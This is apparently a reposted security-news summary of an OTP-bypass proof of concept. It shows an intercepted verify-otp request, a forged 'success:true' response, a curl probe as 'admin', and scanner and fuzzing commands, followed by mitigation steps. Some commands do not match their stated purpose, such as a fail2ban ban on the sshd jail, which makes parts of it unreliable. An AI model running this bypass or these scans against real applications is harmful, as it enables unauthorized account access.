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A Proof of Concept (PoC) demonstrating a Broken Authentication vulnerability in an OTP system has been disclosed. Attackers can bypass OTP verification by manipulating JSON response values. Full details are available here: https://lnkd.in/gS-nnzwG.
You Should Know:
How the Exploit Works
1. Intercepting the OTP Request:
- Use Burp Suite or OWASP ZAP to capture the HTTP request containing the OTP verification.
- Example intercepted request:
POST /verify-otp HTTP/1.1 Host: vulnerable-app.com Content-Type: application/json </li> </ul> {"otp":"123456","user_id":"[email protected]"}2. Modifying the JSON Response:
- Change the server response from `{“success”:false}` to
{"success":true}. - Using Burp Repeater, modify the response before forwarding:
HTTP/1.1 200 OK Content-Type: application/json </li> </ul> {"success":true,"session_token":"hacked_token"}3. Bypassing Authentication:
- The manipulated response tricks the system into granting unauthorized access.
Mitigation Steps
- Server-Side Validation: Ensure OTP verification is strictly server-side.
- Rate Limiting: Prevent brute-forcing with:
Using fail2ban to block repeated OTP attempts sudo fail2ban-client set sshd banip <attacker_IP>
- Secure API Endpoints: Use HMAC signatures for API requests.
Testing with cURL
curl -X POST "https://vulnerable-app.com/verify-otp" \ -H "Content-Type: application/json" \ -d '{"otp":"000000","user_id":"admin"}'Detecting Vulnerable Apps
- Use Nikto for quick scans:
nikto -h https://target-app.com
- OWASP ZAP Automation:
zap-cli quick-scan --spider -o "-config api.disablekey=true" https://target-app.com
What Undercode Say
This exploit highlights critical flaws in client-side trust mechanisms. Always enforce server-side validation, implement JWT/OAuth2 for secure sessions, and audit APIs using:
Check for open ports nmap -sV --script vuln target.com Test for IDOR vulnerabilities ffuf -u "https://api.com/user/FUZZ" -w wordlist.txt
For Windows systems, verify security policies:
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation"
Use Wireshark to monitor API traffic:
tshark -i eth0 -Y "http.request.method == POST"
Expected Output:
A secure OTP system should never rely on client-side responses. Implement multi-factor checks and log all verification attempts:
Linux log inspection grep "OTP_FAIL" /var/log/auth.log Windows Event Log Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625}For further hardening, refer to OWASP Authentication Cheatsheet.
References:
Reported By: Ilham00 Saya – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅Join Our Cyber World:
- Change the server response from `{“success”:false}` to
